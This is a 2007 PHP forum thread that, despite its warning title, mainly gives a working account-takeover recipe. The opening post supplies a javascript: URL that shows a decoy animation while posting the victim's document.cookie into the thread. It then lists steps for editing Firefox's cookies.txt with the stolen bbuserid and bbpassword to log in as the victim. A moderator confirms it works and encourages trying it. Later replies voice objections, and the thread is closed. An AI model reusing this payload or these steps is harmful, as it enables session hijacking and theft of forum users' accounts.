TalkPHP
 
 
Account Login
Latest Articles
» The basic usage of PHPTAL, a XML/XHTML template library for PHP
» Vulnerable methods and the areas they are commonly trusted in.
» Simple way to protect a form from bot
» The Basics On: How Session Stealing Works
» How to keep your forms from double posting data
IRC Channel
IRC Speech Bubble Join the friendly bunch on IRC...
(#TalkPHP on Freenode)

...Also available via a web interface.

See this thread for information on the TalkPHP Free Hugs Initiative™. Subject to availability.
Associates
Associates
CSS Tutorials
Closed Thread
 
LinkBack Thread Tools Search this Thread Display Modes
Old 10-29-2007, 02:14 AM   #1 (permalink)
Wizard
Top Contributor 
 
Village Idiot's Avatar
 
Join Date: Sep 2007
Posts: 1,299
Thanks: 17
Village Idiot is on a distinguished road
Default Never visit JS links on a forum, here is why

This sequence of things will allow you to hack a users account, with a little practice I was able to do it in about half a minute.

Step one: Make a thread like this one, it looks innocent (the code in that is), but use this code instead (WARNING: VISITING THIS WILL COMPROMISE YOUR ACCOUNT SECURITY).
PHP Code:
javascript:R=0x1=.1y1=.05x2=.25y2=.24x3=1.6y3=.24x4=300y4=200x5=300y5=200DI=document.getElementsByTagName("table"); DIL=DI.length; function A(){for(i=0i-DILi++){DIS=DI].styleDIS.position='absolute'DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+"px"DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+"px"}R++}document.getElementById('vB_Editor_QR_textarea').value=document.cookie;document.getElementById('qr_submit').click();setInterval('A()',50); void(0); 
This code will print out all their cookies from this site.

Step 2:
You wait till some sucker runs the javascript, check often. When it gets posted, copy the text on notepad (not wordpad to remove all formatting) and close firefox

Step 3: If you use firefox, go to [Drive Letter]:\Documents and Settings\[User Name]\Application Data\Mozilla\Firefox\Profiles\[profile name]

Step 4: Edit the following values in cookies.txt with the ones on the notepad window (from the forum site, of course)
bbpassword
bbuserid

Save and close window, re-open firefox and you will be logged into their account.

I am working on a video for this, I will post it if I get it.

Last edited by Village Idiot : 10-29-2007 at 07:24 PM.
Village Idiot is offline  
Old 10-29-2007, 10:34 AM   #2 (permalink)
Super Moderator
Advanced Programmer 
 
bluesaga's Avatar
 
Join Date: Sep 2007
Posts: 165
Thanks: 0
bluesaga is on a distinguished road
Default

Interesting i Guess, im not sure if we condone this here and we may have to remove this topic. Hacking is hacking, whether you are advising people or not, this is showing people how to hack, not telling people how to not get caught.
__________________
Halo 3 Cheats
bluesaga is offline  
Old 10-29-2007, 11:51 AM   #3 (permalink)
The Acquainted
 
obolus's Avatar
 
Join Date: Oct 2007
Location: florida
Posts: 110
Thanks: 36
obolus is on a distinguished road
Default

errr... is this a joke? =o
obolus is offline  
Old 10-29-2007, 12:33 PM   #4 (permalink)
Moderateur
RegEx Guru PHP Guru Top Contributor Advanced Programmer 
 
Salathe's Avatar
 
Join Date: Apr 2007
Posts: 1,393
Thanks: 5
Salathe is on a distinguished road
Default

If a user is dumb enough to copy/paste the JS into their address bar and execute it, then you can have their account. :p On a more serious note, I don't see this as a problem since vBulletin just plain doesn't allow JavaScript to be injected anywhere. (that i know of)

Last edited by Salathe : 10-29-2007 at 01:24 PM.
Salathe is offline  
Old 10-29-2007, 01:21 PM   #5 (permalink)
La Vida es Sueño
Advanced Programmer Top Contributor 
 
Wildhoney's Avatar
 
Join Date: Sep 2007
Location: Oldham
Posts: 2,280
Thanks: 90
Wildhoney is on a distinguished road
Default

Quote:
*Blows a kiss to Wildhoney*
Such a classic.
__________________
The man who comes back through the Door in the Wall will never be quite the same as the man who went out.
Send a message via AIM to Wildhoney Send a message via MSN to Wildhoney Send a message via Yahoo to Wildhoney
Wildhoney is offline  
Old 10-29-2007, 03:44 PM   #6 (permalink)
The Wanderer
 
cherries's Avatar
 
Join Date: Oct 2007
Posts: 20
Thanks: 0
cherries is an unknown quantity at this point
Default

you could just say it's the super popular javascript image "trick", it looks like it.
cherries is offline  
Old 10-29-2007, 04:07 PM   #7 (permalink)
Super Moderator
Advanced Programmer 
 
bluesaga's Avatar
 
Join Date: Sep 2007
Posts: 165
Thanks: 0
bluesaga is on a distinguished road
Default

erm guys, try what he has said lol. Copy the code into your browser, and it will make a post with your cookie details, all you then need to do is create the cookies with the exact same information and you have access to the account...

It works, just make sure you delete the post after :D
__________________
Halo 3 Cheats
bluesaga is offline  
Old 10-29-2007, 08:42 PM   #8 (permalink)
Wizard
Top Contributor 
 
Village Idiot's Avatar
 
Join Date: Sep 2007
Posts: 1,299
Thanks: 17
Village Idiot is on a distinguished road
Default

Quote:
Originally Posted by Salathe View Post
If a user is dumb enough to copy/paste the JS into their address bar and execute it, then you can have their account. :p On a more serious note, I don't see this as a problem since vBulletin just plain doesn't allow JavaScript to be injected anywhere. (that i know of)
Correct, I tried a number of different methods and the only one is to put it in your URL bar.
Village Idiot is offline  
Old 10-29-2007, 09:29 PM   #9 (permalink)
The Prestige
Upcoming Programmer Inquisitive 
 
Tanax's Avatar
 
Join Date: Sep 2007
Location: Sweden, Stockholm
Posts: 1,080
Thanks: 115
Tanax is on a distinguished road
Default

Where will this "cookie" be posted? :|
Tanax is offline  
Old 10-29-2007, 11:35 PM   #10 (permalink)
Wizard
Top Contributor 
 
Village Idiot's Avatar
 
Join Date: Sep 2007
Posts: 1,299
Thanks: 17
Village Idiot is on a distinguished road
Default

On the thread the person who runs it is on. I've tried to do redirections, but it didnt work.
Village Idiot is offline  
Old 10-30-2007, 04:20 PM   #11 (permalink)
The Wanderer
 
cherries's Avatar
 
Join Date: Oct 2007
Posts: 20
Thanks: 0
cherries is an unknown quantity at this point
Default

Code:
bblastactivity=0; bblastvisit=1193694492;bbthread_lastview=hash-stufff-%lulz%xD
something along those lines.
cherries is offline  
Old 10-30-2007, 04:44 PM   #12 (permalink)
Wizard
Top Contributor 
 
Village Idiot's Avatar
 
Join Date: Sep 2007
Posts: 1,299
Thanks: 17
Village Idiot is on a distinguished road
Default

All you need is the user ID and encrypted password.
Village Idiot is offline  
Old 11-13-2007, 10:29 AM   #13 (permalink)
The Acquainted
 
Join Date: Sep 2007
Posts: 126
Thanks: 4
Sam Granger is on a distinguished road
Default

*removes cookie info*
Sam Granger is offline  
Old 11-13-2007, 03:20 PM   #14 (permalink)
Wizard
Top Contributor 
 
Village Idiot's Avatar
 
Join Date: Sep 2007
Posts: 1,299
Thanks: 17
Village Idiot is on a distinguished road
Default

I hope you know it isnt edited in the email for everyone who is subscribed to this thread.
Village Idiot is offline  
Old 11-13-2007, 03:38 PM   #15 (permalink)
La Vida es Sueño
Advanced Programmer Top Contributor 
 
Wildhoney's Avatar
 
Join Date: Sep 2007
Location: Oldham
Posts: 2,280
Thanks: 90
Wildhoney is on a distinguished road
Default

Lol :) He tells us after everybody has tried it. Good going, VI, good going! Very sneaky.
__________________
The man who comes back through the Door in the Wall will never be quite the same as the man who went out.
Send a message via AIM to Wildhoney Send a message via MSN to Wildhoney Send a message via Yahoo to Wildhoney
Wildhoney is offline  
Old 11-13-2007, 03:39 PM   #16 (permalink)
Super Moderator
Advanced Programmer 
 
bluesaga's Avatar
 
Join Date: Sep 2007
Posts: 165
Thanks: 0
bluesaga is on a distinguished road
Default

Due to the security issues related to a thread alike this, i have closed the topic. If you feel this should not have been done, please PM me.
__________________
Halo 3 Cheats
bluesaga is offline  
Old 11-13-2007, 03:45 PM   #17 (permalink)
La Vida es Sueño
Advanced Programmer Top Contributor 
 
Wildhoney's Avatar
 
Join Date: Sep 2007
Location: Oldham
Posts: 2,280
Thanks: 90
Wildhoney is on a distinguished road
Default

Good move. You probably want to log out and log back in for those who have tried this.
__________________
The man who comes back through the Door in the Wall will never be quite the same as the man who went out.
Send a message via AIM to Wildhoney Send a message via MSN to Wildhoney Send a message via Yahoo to Wildhoney
Wildhoney is offline  
Closed Thread



Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


All times are GMT. The time now is 12:18 AM.

 
     

Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2013, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.1.0
Inactive Reminders By Icora Web Design